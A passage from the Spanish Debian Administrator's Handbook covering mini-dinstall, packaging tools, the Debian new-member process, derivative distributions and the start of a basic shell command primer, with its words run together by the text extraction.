Ejecutar mini-dinstall en realidadinicia un demonio en segundo plano.Mientras ejecute el demonio, revisaráel directorio incoming/ por nuevospaquetes cada media hora; cuandodetecte un nuevo paquete lo moverá alrepositorio y generará los archivosPackages.gz y Sources.gz. Siejecutar un demonio es un problema,también puede invocar manualmentemini-dinstall en modo de lote (con laopción -b) cada vez que suba unpaquete al directorio incoming/. mini-dinstall permite otras posibilidades

Page 1898: El Libro Del Administrador de Debian - Raphael Hertzog

documentadas en su página de manualmini-dinstall(1).

EXTRA Generación de un repositoriofirmado

La suite APT verifica una cadena defirmas criptográficas en los paquetes quegestiona antes de instalarlos (y lo hahecho desde Etch) para poder asegurar suautenticidad (revise la Section 6.5,“Comprobando la autenticidad de unpaquete”). Por lo tanto, los repositoriosAPT privados pueden ser un problema, yaque los equipos que los utilicen mostraránadvertencias sobre paquetes sin firmar.Por lo tanto, un administrador diligenteintegrará los archivos privados con elmecanismo de seguridad de APT.

Page 1899: El Libro Del Administrador de Debian - Raphael Hertzog

Para ayudar con este proceso, mini-dinstall incluye la opción deconfiguración release_signscript quepermite especificar un script a utilizarpara generar la firma. Un buen punto departida es el script sign-release.sh,provisto por el paquete mini-dinstall, enel directorio /usr/share/doc/mini-dinstall/examples/; puede necesitarcambios locales.

Page 1900: El Libro Del Administrador de Debian - Raphael Hertzog

15.4. Convertirseen un encargadode paquetes

15.4.1. Aprendizaje decreación de paquetesCrear un paquete Debian de calidad nosiemrpe es una tarea sencilla ynecesitará aprender algunas cosas paraconvertirse en un encargado depaquetes («package mantainer»), tantoteóricas como prácticas. No es sólo

Page 1901: El Libro Del Administrador de Debian - Raphael Hertzog

cuestión de compilar e instalarsoftware; en cambio, la mayor parte dela complejidad proviene de entenderproblemas, conflictos y, en general, lasinteracciones con los muchos otrospaquetes disponibles.

15.4.1.1. Reglas

Un paquete Debian debe cumplir conlas reglas precisas agrupadas en lanormativa Debian, y todo encargado depaquetes debe conocerlas. No haynecesidad de saberlas de memoria, sinosaber que existen y consultarlas cuandose enfrente ante alternativas notriviales. Todo encargado Debiancometió errores por no saber acerca de

Page 1902: El Libro Del Administrador de Debian - Raphael Hertzog

alguna regla, pero esto no es un granproblema siempre que se lo corrijadespués que un usuario reporte el errorcomo un fallo, lo que sucede bastanterápido gracias a usuarios avanzados.

→ http://www.debian.org/doc/debian-policy/

15.4.1.2. Procedimientos

Debian no es una simple colección depaquetes individuales. El trabajo deempaquetado de todos es parte de unproyecto colectivo; ser undesarrollador Debian incluye sabercómo funciona el proyecto Debiancomo un todo. Todo desarrollador,

Page 1903: El Libro Del Administrador de Debian - Raphael Hertzog

tarde o temprano, interactuará conotros. La referencia de desarrolladoresde Debian («Debian Developer'sReference», en el paquete developers-reference) resume lo que tododesarrollador debe saber para poderinteractuar de la mejor forma posiblecon los varios equipos dentro delproyecto y para poder aprovechar almáximo los recursos disponibles. Estedocumento también enumera una seriede deberes que se espera cumpla undesarrollador.

→ http://www.debian.org/doc/developers-reference/

15.4.1.3. Herramientas

Page 1904: El Libro Del Administrador de Debian - Raphael Hertzog

Muchas herramientas ayudan a losencargados de paquetes con su trabajo.Esta sección las describe rápidamente,pero no provee todos sus detalles yaque cada una de ellas poseedocumentación exhaustiva.

15.4.1.3.1. El programa lintian

Esta herramienta es una de las másimportantes: es el verificador depaquetes Debian. Está basado en ungran conjunto de pruebas creadas apartir de la normativa Debian y detectarápida y automáticamente muchoserrores que pueden corregirse antes depublicar los paquetes.

Page 1905: El Libro Del Administrador de Debian - Raphael Hertzog

Esta herramienta es sólo una ayuda y aveces está equivocada (por ejemplo,como la normativa Debian cambia conel tiempo, lintian a veces estádesactualizado). No es exhaustiva: nodebe interpretar el no obtener ningúnerror Lintian como prueba de que elpaquete es perfecto; como máximo,éste evita los errores más comunes.

15.4.1.3.2. devscripts

El paquete devscripts contiene muchosprograma que ayudan en un granespectro del trabajo de un desarrolladorDebian:

debuild permite generar un

Page 1906: El Libro Del Administrador de Debian - Raphael Hertzog

paquete (con dpkg-buildpackage)y ejecutar lintian para verificar sicumple con la normativa Debianluego.debclean limpia un paquete fuenteluego que se generó un paquetebinario.dch permite editar rápida yfácilmente el archivodebian/changelog en un paquetefuente.uscan verifica si el autor originalpublicó una nueva versión de unsoftware; esto necesita un archivodebian/watch con unadescripción de la ubicación dedichas publicaciones.debi permite instalar (con dpkg -

Page 1907: El Libro Del Administrador de Debian - Raphael Hertzog

i) el paquete Debian que acaba degenerar y le evita tener queingresar su nombre y rutacompletos.De forma similar, debc le permiteescanear el contenido de unpaquete generado recientemente(con dpkg -c) sin tener queingresar su nombre y rutacompletos.bts controla el sistema deseguimiento de errores desde laconsola; este programa genera loscorreos apropiadosautomáticamente.debrelease sube un paqueterecientemente generado a unservidor remoto sin tener que

Page 1908: El Libro Del Administrador de Debian - Raphael Hertzog

ingresar el nombre y rutacompletos del archivo .changesrelacionado.debsign firma los archivos *.dscy *.changes.uupdate automatiza la creación deuna nueva revisión de un paquetecuando se publicó una nuevaversión del software original.

15.4.1.3.3. debhelper y dh-make

Debhelper es un conjunto de scriptsque facilitan la creación de paquetesque cumplan la normativa; debeejecutar estos scripts desdedebian/rules. Debhelper fueampliamente adopado en Debian, como

Page 1909: El Libro Del Administrador de Debian - Raphael Hertzog

muestra el hecho de que es utilizado enla mayoría de los paquetes Debianoficiales. Todos los programas quecontiene tienen un prefijo dh_. JoeyHess es el principal desarrollador deDebhelper.

El script dh_make (en el paquete dh-make) crea los archivos necesarios paragenerar un paquete Debian en undirectorio que contiene inicialmente lasfuentes de un software. Como puedeadivinar del nombre del programa, losarchivos generados utilizan Debhelperde forma predeterminada.

ALTERNATIVA CDBS

Page 1910: El Libro Del Administrador de Debian - Raphael Hertzog

cdbs es otro enfoque al empaquetado deDebian, basado exclusivamente en unsistema de herencia de archivos Makefile.

Esta herramienta tiene sus partidarios yaque evita duplicar la misma lista deórdenes dh_* en el archivo debian/rules.Sin embargo, la versión 7 de Debhelperintrodujo el programa dh que automatizapor sí mismo la secuencia adecuada dellamadas a todos los programasindividuales en el orden correcto, desdeentonces CDBS perdió gran parte de suatractivo.

15.4.1.3.4. dupload y dput

Los programas dupload y dputpermiten subir un paquete Debian a un

Page 1911: El Libro Del Administrador de Debian - Raphael Hertzog

servidor (posiblemente remoto). Estopermite a los desarrolladores publicarsus paquetes al servidor Debianprincipal (ftp-master.debian.org)para que pueda ser integrado alrepositorio y distribuido por susréplicas. Estos programas toman comoparámetros un archivo *.changes ydeducen los demás archivos relevantesde su contenido.

15.4.2. Proceso deaceptaciónConvertirse en un desarrollador Debianno es una simple cuestión

Page 1912: El Libro Del Administrador de Debian - Raphael Hertzog

administrativa. El proceso tiene variospasos y se parece tanto a una iniciacióncomo a un proceso de selección. Encualquier caso, está formalizado y biendocumentado por lo que cualquierapuede seguir su progreso en el sitioweb dedicado al proceso para nuevosmiembros.

→ http://nm.debian.org/

EXTRA Proceso liviano para«encargados Debian»

Recientemente se introdujo la posición de«encargado Debian» («DebianMaintainer»). El proceso asociado es másrápido y los privilegios provistos son sólosuficientes para mantener los paquetes

Page 1913: El Libro Del Administrador de Debian - Raphael Hertzog

propios. Un desarrollador Debian sólodebe realizar una revisión en el paqueteinicial y realizar una declaraciónindicando que confían en el encargadopotencial y su habilidad de mantener elpaquete por su cuenta.

15.4.2.1. Prerequisitos

Se espera que todos los candidatostengan un conocimiento práctico delidioma inglés. Esto es necesario entodos los niveles: por supuesto, para lacomunicación inicial con elexaminador pero también luego, ya queel inglés es el idioma de preferenciapara la mayoría de la documentación;

Page 1914: El Libro Del Administrador de Debian - Raphael Hertzog

además los usuarios de paquetes secomunicarán en inglés al reportarerrores y esperarán respuestas en elmismo idioma.

El otro prerequisito tiene que ver con lamotivación. Ser un desarrolladorDebian es un proceso que sólo tienesentido si el candidato sabe que suinterés en Debian durará muchosmeses. El proceso de aceptación en sípuede durar varios meses, y Debiannecesita desarrolladores a largo plazo;se necesita mantener permanentementecada paquete y no sólo subirlos y ya.

15.4.2.2. Registración

Page 1915: El Libro Del Administrador de Debian - Raphael Hertzog

El primer paso (real) consiste enencontrar un patrocinador («sponsor»)o partidario («advocate»); estosignifica un desarrollador oficialdispuesto a manifestar que aceptar Xsería algo bueno para Debian. Estogeneralmente implica que el candidatoha participado en la comunidad y quese apreció su trabajo. Si el candidato estímido y no promocionó su trabajopúblicamente, pueden intentarconvencer a un desarrollador Debianpara que lo patrocine mostrándole sutrabajo en privado.

Al mismo tiempo, el candidato debegenerar un par de llavespública/privada con GnuPG, que deben

Page 1916: El Libro Del Administrador de Debian - Raphael Hertzog

ser firmadas por al menos undesarrollador Debian oficial. La firmaautentica el nombre en la llave.Efectivamente, durante una fiesta defirma de llaves, cada participante debemostrar una tarjeta de identificaciónjunto con sus identificadores de llaves.Este paso hace oficial el enlace entre lapersona y las llaves. Esta firma, por lotanto, requiere encontrarse en la vidareal. Si no encuentra ningúndesarrollador Debian en unaconferencia pública de software libre,puede buscar explícitamentedesarrolladores que vivan cercautilizando la lista en la siguientepágina web como punto de partida.

Page 1917: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://wiki.debian.org/Keysigning

Una vez que el patrocinador validó laregistración en nm.debian.org, se leasigna al candidato un Gestor deaplicación («Application Manager»).El gestor de apliación, de allí enadelante, seguirá los procedimientos yvalidará los varios pasos que incluye elproceso.

La primera verificación es unacomprobación de identidad. Si ya tieneuna llave firmada por dosdesarrolladores Debian, este paso essencillo; de lo contrario, el gestor deaplicación intentará guiarlo para buscardesarrolladores Debian cercanos y

Page 1918: El Libro Del Administrador de Debian - Raphael Hertzog

organizar una reunión y firma dellaves. Muy al comienzo del proceso,cuando la cantidad de desarrolladoresera pequeña, había una excepción paraeste procedimiento que permitíacompletar este paso con un escaneodigital de documentos oficiales deidentifiación; ya no es el caso.

15.4.2.3. Aceptación deprincipios

Se siguen estas formalidadesadministrativas con consideracionesfilosóficas. El objetivo es asegurarseque el candidato entiende y acepta elcontrato social y los principios detrás

Page 1919: El Libro Del Administrador de Debian - Raphael Hertzog

del Software Libre. Unirse a Debiansólo es posible si uno comparte losvalores que unen a los desarrolladoresactuales, como están expresados en lostextos de fundación (resumidos en elChapter 1, El proyecto Debian).

Además, se espera que cada candidatoque desee unirse a las filas de Debianconozca cómo funciona el proyecto ycómo interactuar de forma apropiadapara solucionar los problemas queseguramente encontrarán con el pasodel tiempo. Toda esta informacióngeneralmente está documentada en losmanuales para nuevos encargados y enla referencia para desarrolladores deDebian. Debería bastar con una lectura

Page 1920: El Libro Del Administrador de Debian - Raphael Hertzog

atenta de este documento pararesponder las preguntas delexaminador. Si las respuestas no sonsatisfactorias, se le informará alcandidato. Luego tendrá que leer(nuevamente) la documentaciónrelevante antes de intentarlonuevamente. En aquellos casos en losque la documentación existente nocontenga la respuesta apropiada para lapregunta, el candidato frecuentementepodrá llegar a la respuesta con un pocode experienca práctica dentro deDebian o, potencialmente, discutiendocon otros desarrolladores Debian. Estemecanismo asegura que los candidatosse involucren de alguna forma enDebian antes de formar completamente

Page 1921: El Libro Del Administrador de Debian - Raphael Hertzog

parte de él. Es una normativadeliberada, por la que los candidatosque se unirán eventualmente alproyecto son integrados como otrapieza de un rompecabezas que se puedeextender sin fin.

Este paso es conocido generalmentecomo filosofía y procedimientos(abreviado como «P&P» por«Philosophy & Procedures») en lajerga de los desarrolladoresinvolucrados en el proceso de nuevosmiembros.

15.4.2.4. Revisión dehabilidades

Page 1922: El Libro Del Administrador de Debian - Raphael Hertzog

Se debe justificar cada aplicación paraconvertirse en un desarrollador oficialde Debian. Convertirse en un miembrodel proyecto requiere mostrar que estaposición es legítima y que facilita eltrabajo del candidato para ayudar aDebian. La justificación más común esque ser desarrollador Debian facilita elmantener un paquete Debian, pero noes la única. Algunos desarrolladores seunen al proyecto para adaptar unaarquitectura particular, otros deseanmejorar la documentación, etc.

Este paso le ofrece al candidato laoportunidad de especificar lo quedesean hacer dentro del proyectoDebian y mostrar lo que ya han hecho

Page 1923: El Libro Del Administrador de Debian - Raphael Hertzog

para ello. Debian es un proyectopragmático y decir algo no essuficiente si las acciones no coincidencon lo que se anuncia. Frecuentemente,cuando el rol deseado dentro delproyecto está relacionado con lamanutención de un paquete, se deberávalidar técnicamente una primeraversión del futuro paquete y deberá sersubido a los servidores Debian por undesarrollador Debian existente comopatrocinador.

COMUNIDAD Patrocinio

Los desarrolladores Debian pueden«patrocinar» («sponsor») paquetespreparados por alguien más, lo quesignifica que los publican en los

Page 1924: El Libro Del Administrador de Debian - Raphael Hertzog

repositorios Debian oficiales luego dehaber realizado una revisión cuidadosa.Este mecanismo le permite a terceros,quienes todavía no atravesaron el procesode nuevos miembros, contribuir alproyecto ocasionalmente. Al mismotiempo, asegura que todos los paquetesincluidos en Debian siempre sonrevisados por un miembro oficial.

Finalmente, el examinador revisa lashabilidades técnicas (empaquetado) delcandidato con un cuestionariodetallado. No se permiten respuestasincorrectas, pero no hay límite detiempo para responder. Toda ladocumentación está disponible y sepermiten varios intentos si las primeras

Page 1925: El Libro Del Administrador de Debian - Raphael Hertzog

respuestas no son satisfactorias. Estepaso no intenta discriminar, sinogarantizar al menos un mínimo comúnde conocimiento para todos los nuevoscontribuyentes.

En la jerga de los examinadores, seconoce a este paso como tareas yhabilidades («Tasks & Skills»).

15.4.2.5. Aprobación final

En el último paso, un DAM (gestor decuentas Debian: «Debian AccountManager») revisa todo el proceso. ElDAM revisará toda la información querecolectó el examinador sobre elcandidato y tomará la decisión de

Page 1926: El Libro Del Administrador de Debian - Raphael Hertzog

crearle una cuenta en los servidoresDebian o no. En los casos que necesiteinformación adicional se puededemorar la creación de la cuenta. Losrechazos son bastante raros si elexaminador realiza un buen trabajosiguiendo el procedimiento, pero aveces ocurren. Nunca son permanentesy el candidato es libre de intentarnuevamente luego de un tiempo.

La decisión del DAM es final y (casi)sin apelación, lo que explica porqué, enel pasado, se criticaba frecuentementea aquellos en dicho rol (actualmenteJörg Jaspert, Christoph Berg y EnricoZini).

Page 1927: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 16. Conclusión:el futuro deDebianLa historia de Falcot Corp termina coneste último capítulo, pero Debiancontinúa y el futuro seguramente traerámuchas sorpresas interesantes.

16.1. Los próximosdesarrollos

Page 1928: El Libro Del Administrador de Debian - Raphael Hertzog

Semanas (o meses) antes que sepublique una nueva versión de Debianel Gestor de versiones selecciona elnombre código de la próxima versión.Ahora que salió la versión 6.0 deDebian los desarrolladores ya estánocupados trabajando en la próximaversión, con nombre código Wheezy…

No hay lista oficial de cambiosplaneados y Debian nunca hacepromesas relacionadas con losobjetivos técnicos de las próximasversiones. Sin embargo, ya se puedennotar algunas tendencias en eldesarrollo y hay muchas razones paracreer que se volverán resultadosconcretos en la nueva versión.

Page 1929: El Libro Del Administrador de Debian - Raphael Hertzog

El sistema de manejo de paquetespodrá instalar paquetes para diferentesarquitecturas en el mismo sistema (estose conoce como «compatibilidadmultiarquitectura» («multi-archsupport»). Esto permitirá instalaraplicaciones de 32 bits en un sistemade 64 bits y viceversa. Otro proyectodigno de mencionar es ConstantlyUsable Testing («Testing» siempreusable), que apunta a etiquetar Testingcomo una distribución oficial quepueda recomendarse al público engeneral. El proceso «init»predeterminado (sysvinit) tambiénpodría ser reemplazado por sistemasmás modernos como upstart osystemd.

Page 1930: El Libro Del Administrador de Debian - Raphael Hertzog

Por supuesto, todas las aplicacionesprincipales van a haber tenido unanueva versión. Por ejemplo, Wheezyincluirá una versión 3.X de GNOME, loque incorpora un cambio profundo yprometedor en el paradigma deescritorios gráficos usuales.

Page 1931: El Libro Del Administrador de Debian - Raphael Hertzog

16.2. El futuro deDebianAdemás de estos desarrollos internosuno puede, siendo razonable, esperarque vean la luz nuevas distribucionesbasadas en Debian gracias a lacreciente popularidad de debian-installer y su flexibilidad. Tambiéncomenzarán nuevos subproyectosespecializados para aumentar elalcance de Debian en nuevoshorizontes.

La comunidad de usuarios de Debianaumentará y nuevos colaboradores se

Page 1932: El Libro Del Administrador de Debian - Raphael Hertzog

unirán al proyecto… incluso, tal vez,¡usted!

El proyecto Debian es más fuerte quenunca y bien encaminado en suobjetivo de ser una distribuciónuniversal; el chiste interno en lacomunidad Debian es «dominaciónmundial» (World Domination).

A pesar de su edad y tamaño, Debiancontinúa creciendo en todasdirecciones (a veces inesperadas). Loscolaboradores hierven con ideas y elimpuslo aumenta con las discusionesen las listas de correo de desarrollo,aún cuando parezcan peleas de gallos.A veces se compara a Debian con un

Page 1933: El Libro Del Administrador de Debian - Raphael Hertzog

agujero negro, de tal densidad que atraea cualquier nuevo proyecto desoftware.

Además de la aparente satisfacción dela mayoría de los usuarios de Debian,parece volverse más y más indisputableuna nueva tendencia: la gente se dacuenta cada vez más que colaborar, enlugar de trabajar por su cuenta, lleva amejores resultados para todos. Tal es elrazonamiento utilizado por lasdistribuciones que vuelven aincorporarse a Debian comosubproyectos.

El proyecto Debian, por lo tanto, notiene miedo a la extinción…

Page 1934: El Libro Del Administrador de Debian - Raphael Hertzog

16.3. El futuro deeste libroQuerrías que este libro evolucione en elespíritu del software libre. Por lo tanto,damos la bienvenida a contribuciones,comentarios, sugerencias y críticas.Diríjalas a Raphaël(<[email protected]>) o Roland(<[email protected]>). Usaremosel sitio web para juntar toda lainformación relevante a su evolución.

→ http://debian-handbook.info/

Intentamos integrar la mayoría de lo

Page 1935: El Libro Del Administrador de Debian - Raphael Hertzog

que nos enseñó nuestra experiencia enDebian para que cualquiera puedautilizar esta distribución yaprovecharla al máximo lo más rápidoposible. Esperamos que este librocontribuya a hacer Debian menosconfuso y más popular, ¡damos labienvenida a que lo publiciten!

Nos gustaría finalizar en un tono máspersonal. Escribir (y traducir) este librotomó un tiempo considerable denuestra actividad profesional usual. Yaque ambos somos consultoresindependientes, cualquier nueva fuentede ingresos nos da la libertad dededicar más tiempo en mejorar Debian;esperamos que este libro sea exitoso y

Page 1936: El Libro Del Administrador de Debian - Raphael Hertzog

contribuya con ello. Mientras tanto¡puede contratarnos!

→ http://www.freexian.com→ http://www.gnurandal.com

¡Hasta pronto!

Page 1937: El Libro Del Administrador de Debian - Raphael Hertzog

Appendix A. DistribucionesderivadasMuchas distribuciones Linux sonderivadas de Debian y reutilizan lasherramientas de gestión de paquetes deDebian. Todas tiene característicasinteresantes y es posible que una deellas se adapte mejor a sus necesidadesque Debian en sí.

A.1. Censo ycooperación

Page 1938: El Libro Del Administrador de Debian - Raphael Hertzog

El Proyecto Debian reconoceplenamente la importancia dedistribuciones derivadas y respaldaactivamente la colaboración entre todaslas partes involucradas. Usualmenteesto involucra integrar mejorasdesarrolladas inicialmente por unadistribución derivada de tal manera quecualquiera pueda beneficiarse y sereduzca el trabajo de mantenimiento alargo plazo.

Esto explica porqué se invita a lasdistribuciones derivadas a involucrarseen las discusiones en la lista de correodebian-

[email protected] yparticipar en el censo de derivados.Este censo tiene el objetivo de

Page 1939: El Libro Del Administrador de Debian - Raphael Hertzog

recolectar información sobre el trabajoque ocurre en un derivado para que losdesarrolladores Debian oficialespuedan seguir más fácilmente el estadode sus paquetes en las variantes deDebian.

→ http://wiki.debian.org/DerivativesFrontDesk→ http://wiki.debian.org/Derivatives/Census

Ahora describiremos brevemente lasdistribuciones derivadas másinteresantes y populares.

Page 1940: El Libro Del Administrador de Debian - Raphael Hertzog

A.2. UbuntuUbuntu causó gran revuelo cuandollegó al escenario del Software Libre, ypor buenas razones: Canonical Ltd., laempresa que creó esta distribución,comenzó contratando poco más detreinta desarrolladores Debian ypublicando su objetivo a muy largoplazo de proveer una distribución parael público en general con una nuevaversión dos veces al año. También secomprometieron a mantener cadaversión por un año y medio para loscomponentes centrales y de seguridad.

Estos objetivos necesariamente

Page 1941: El Libro Del Administrador de Debian - Raphael Hertzog

conllevaron una reducción en sualcance; Ubuntu se enfoca en unnúmero de paquetes menor que Debiany está basada principalmente en elescritorio GNOME (aunque unadistribución oficial derivada deUbuntu, llamada «Kubuntu», estábasada en KDE). Todo esinternacionalizado y está disponible enmuchos idiomas.

Hasta ahora, Ubuntu logró mantenereste ritmo de publicación. Tambiénpublican versiones de soporte a largoplazo (LTS: «Long Term Support»),con una promesa de manutención de 5años. En Abril de 2012, la versión LTSactual es la 12.04, apodada «Precise

Page 1942: El Libro Del Administrador de Debian - Raphael Hertzog

Pangolin». La última versión no LTS esla 11.10, apodada Oneiric Ocelot. Losnúmeros de versión describen la fechade publicación: 11.10, por ejemplo, fuepublicada en Octubre de 2011.

Ubuntu llegó a una amplia audiencia enel público general. Millones deusuarios se impresionaron por sufacilidad de instalación y el trabajo quese realizó en hacer que el escritorio seamás sencillo de utilizar.

Sin embargo, no todo es color de rosa,especialmente para los desarrolladoresDebian que tenían mucha esperanza enque Ubuntu contribuyera directamentecon Debian. Si bien esta situación

Page 1943: El Libro Del Administrador de Debian - Raphael Hertzog

mejoró con el paso de los años, muchosse irritan por el mercadeo de Canonicalen el que implican que Ubuntu es unbuen ciudadano en el mundo delSoftware Libre simplemente porquepublican los cambios que realizan a lospaquetes Debian. Los partidarios delSoftware Libre entienden que unparche generado automáticamente notiene mucha utilidad en el proceso decontribución con el origen. Conseguirque nuestro trabajo sea integradorequiere interacción directa con la otraparte.

Esta interacción es cada vez máscomún, gracias en parte a la comunidadde Ubuntu y los efuerzos que realiza

Page 1944: El Libro Del Administrador de Debian - Raphael Hertzog

educando sus nuevos contribuyentes.Pero Canonical todavía no fuerza estapolítica en sus empleados. Algunos semantienen fieles a sus raíces y realizanel esfuerzo necesario (Colin Watson,Martin Pitt y Matthias Klose sonnotables en este aspecto), pero otros —generalmente con demasiado trabajo —ya no lo hacen.

→ http://www.ubuntu.com/

Page 1945: El Libro Del Administrador de Debian - Raphael Hertzog

A.3. KnoppixLa distribución Knoppix casi nonecesita introducción. Fue la primeradistribución popular que proveyó unLiveCD; en otras palabras, un CD-ROM de arranque que ejecutaba unsistema Linux listo sin necesitar undisco duro — se mantendría intactocualquier sistema ya instalado en lamáquina. La detección automática delos dispositivos disponibles le permitióa esta distribución funcionar en lamayoría de las configuraciones dehardware. El CD-ROM incluye casi 2Gb de software (comprimido).

Page 1946: El Libro Del Administrador de Debian - Raphael Hertzog

La combinación de este CD-ROM yuna llave USB le permite llevar susarchivos a todos lados y trabajar encualquier equipo sin dejar rastros —recuerde que la distribución no utilizael disco duro en absoluto. Knoppix estábasado en su mayor parte en LXDE (unescritorio gráfico liviano), pero muchasotras distribuciones proveen otrascombinaciones de escritorios ysoftware. Esto es posible, en parte,gracias al paquete Debian live-buildque hace relativamente sencillo crearun LiveCD.

→ http://live.debian.net/

Sepa que Knoppix también provee un

Page 1947: El Libro Del Administrador de Debian - Raphael Hertzog

instalador: puede primero probar ladistribución como LiveCD y luegoinstalarla en un disco duro para obtenermejor rendimiento.

→ http://www.knopper.net/knoppix/index-en.html

Page 1948: El Libro Del Administrador de Debian - Raphael Hertzog

A.4. Linux MintLinux Mint es una distribución(parcialmente) mantenida por lacomunidad, respaldada con donacionesy publicidad. Su producto estrella estábasado en Ubuntu, pero tambiénproveen una variante «Linux MintDebian Edition» que evolucionacontinuamente (y está basada enDebian Testing). En ambos casos, lainstalación inicial involucra arrancarcon un LiveDVD.

La distribución intenta simplificar elacceso a tecnologías avanzadas yprovee interfaces gráficas específicas

Page 1949: El Libro Del Administrador de Debian - Raphael Hertzog

sobre el software usual. Por ejemplo, sibien Linux Mint está basado enGNOME, provee un sistema de menúsdiferente; de forma similar, la interfazde gestión de paquetes, aunque basadaen APT, provee una interfaz específicacon una evaluación del riesgo en cadaactualización de un paquete.

Linux Mint incluye una gran cantidadde software privativo para mejorar laexperiencia de los usuarios que lopuedan necesitar. Por ejemplo: AdobeFlash y «codecs» multimedia.

→ http://www.linuxmint.com/

Page 1950: El Libro Del Administrador de Debian - Raphael Hertzog

A.5. SimplyMEPISSimplyMEPIS es una distribucióncomercial muy similar a Knoppix.Provee un sistema Linux listo desde unLiveCD e incluye una cantidad depaquetes de software privativo:controladores de dispositivo paratarjetas de video nVidia, Flash para lasanimaciones incluidas en muchos sitiosweb, RealPlayer, Java de Sun, etc. Elobjetivo es proveer un sistema 100%funcional desde el primer momento.Mepis está internacionalizado e incluyemuchos idiomas.

→ http://www.mepis.org/

Page 1951: El Libro Del Administrador de Debian - Raphael Hertzog

Esta distribución estaba originalmentebasada en Debian; se mudó a Ubuntupor un tiempo, luego volvió a DebianStable, lo que le permitía a susdesarrolladores agregar funcionalidadsin tener que estabilizar los paquetesque provenían de la distribuciónUnstable de Debian.

Page 1952: El Libro Del Administrador de Debian - Raphael Hertzog

A.6. Aptosid(anteriormenteSidux)Esta distribución basada en lacomunidad sigue los cambios deDebian Sid (Unstable) — de allí sunombre — e intenta publicar 4versiones nuevas cada año. Lasmodificaciones tienen alcanceslimitados: el objetivo es proveer elsoftware más reciente y actualizar loscontroladores para el hardware másreciente al mismo tiempo que permitea sus usuarios volver a la distribución

Page 1953: El Libro Del Administrador de Debian - Raphael Hertzog

oficial de Debian en cualquiermomento.

→ http://aptosid.com

Page 1954: El Libro Del Administrador de Debian - Raphael Hertzog

A.7. Damn SmallLinuxEsta distribución provee un LiveCDdiminuto, pesa sólo 50 MB por lo queentra en un CD-ROM de la forma ytamaño de una tarjeta de negocios. Paraconseguirlo, Damn Small Linux sóloincluye herramientas de softwarelivianas. Esto puede ser interesantepara utilizar un sistema similar aDebian en un equipo antiguo.

→ http://www.damnsmalllinux.org/

Page 1955: El Libro Del Administrador de Debian - Raphael Hertzog

A.8. Y muchasmásEl sitio web Distrowatch hacereferencia a una inmensa cantidad dedistribuciones Linux, muchas de lascuales están basadas en Debian.Navegar este sitio es una excelenteforma de adentrarse en la diversidaddel mundo del Software Libre.

→ http://distrowatch.com

El formulario de búsqueda le puedeayudar a rastrear una distribuciónsegún su linaje. En enero de 2012,

Page 1956: El Libro Del Administrador de Debian - Raphael Hertzog

¡seleccionar Debian llevaba a 141distribuciones activas!

→ http://distrowatch.com/search.php

Page 1957: El Libro Del Administrador de Debian - Raphael Hertzog

Appendix B. Cursobreve deemergenciaSi bien este libro está apuntadoprincipalmente a administradores y«usuarios avanzados», no deseamosexcluir a novatos motivados. Por lotanto, este apéndice será un cursoacelerado que describe los conceptosfundamentales involucrados en elmanejo de un equipo Unix.

B.1. Consola y

Page 1958: El Libro Del Administrador de Debian - Raphael Hertzog

órdenes básicasEn el mundo Unix, todo administradordebe utilizar la línea de órdenes tarde otemprano; por ejemplo, cuando elsistema no inicia adecuadamente y sóloprovee la consola de modo de rescate.Poder manejar tal interfaz es, por lotanto, una habilidad de supervivenciabásica para dichas circunstancias.

VISTA RÁPIDA Inicio del intérprete deórdenes

Puede ejecutar un entorno de línea deórdenes desde el escritorio gráficos, conuna aplicación conocida como«terminal», como las que encontrará en el

Page 1959: El Libro Del Administrador de Debian - Raphael Hertzog

menú Aplicaciones → Accesorios deGnome y en K → Aplicaciones → Sistemade KDE.

Esta sección sólo provee una miradarápida de las órdenes. Todas tienenmuchas opciones que no describimos;como corresponde, también poseendocumentación abundante en suspáginas de manual respectivas.

B.1.1. Navegación delárbol de directorios ygestión de archivos

Page 1960: El Libro Del Administrador de Debian - Raphael Hertzog

Una vez que abrió una sesión, elprograma pwd (imprimir directorio detrabajo: «print working directory»)mostrará la ubicación actual en elsistema de archivos. Puede cambiar eldirectorio actual ejecutando cddirectorio (cd significa cambiardirectorio: «change directory»). Eldirectorio padre siempre se llama ..(dos puntos), mientras que también seconoce al directorio actual como . (unpunto). El programa ls permiteenumerar («listing») el contenido de undirectorio. Si no le provee ningúnparámetro, operará en el directorioactual.

$ pwd

Page 1961: El Libro Del Administrador de Debian - Raphael Hertzog

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop Downloads Pictures Templates

Documents Music Public Videos

Puede crear un directorio nuevo conmkdir directorio y puede eliminarun directorio existente (y vacío) conrmdir directorio. El programa mvpermite mover («move») y/o cambiarel nombre de archivos y directorios;eliminará («remove») un archivo con

Page 1962: El Libro Del Administrador de Debian - Raphael Hertzog

rm archivo.

$ mkdir test

$ ls

Desktop Downloads Pictures Templates Videos

Documents Music Public test

$ mv test new

$ ls

Desktop Downloads new Public Videos

Documents Music Pictures Templates

$ rmdir new

$ ls

Desktop Downloads Pictures Templates Videos

Documents Music Public test

B.1.2. Visualización ymodificación de

Page 1963: El Libro Del Administrador de Debian - Raphael Hertzog

archivos de textoSi ejecuta cat archivo (concatena —«concatenate» — archivos a su salidaestándar) éste leerá el archivo ymostrará sus contenidos en la terminal.Si el archivo es demasiado grande paraentrar en una pantalla, utilice unpaginador como less (o more) paramostrarlo página por página.

El programa editor siempre apunta aun editor de texto (como vi o nano) ypermite crear, modificar y leerarchivos de texto. A veces puede crearlos archivos más simples directamentedesde el intérprete utilizando

Page 1964: El Libro Del Administrador de Debian - Raphael Hertzog

redirección: echo "texto" >archivocreará un archivo llamado archivo con«texto» como su contenido. Tambiénes posible agregar una línea al final deeste archivo si ejecuta algo como echo"línea" >> archivo.

B.1.3. Búsqueda de yen archivosSi ejecuta find directorio criterio,buscará archivos en la jerarquía dentrode directorio según varios criterios.El criterio utilizado másfrecuentemente es -name nombre:permite buscar un archivo según su

Page 1965: El Libro Del Administrador de Debian - Raphael Hertzog

nombre.

Si ejecuta grep expresión archivosbusca en el contenido de los archivos yextrae las líneas que coinciden con laexpresión regular (revise el recuadroVOLVER A LOS CIMIENTOSExpresiones regulares). Agregar laopción -r activa una búsquedarecursiva en todos los archivos quecontenga el directorio que pasó comoparámetro. Esto permite buscar en unarchivo del que sólo conoce parte de sucontenido.

B.1.4. Gestión deproceso

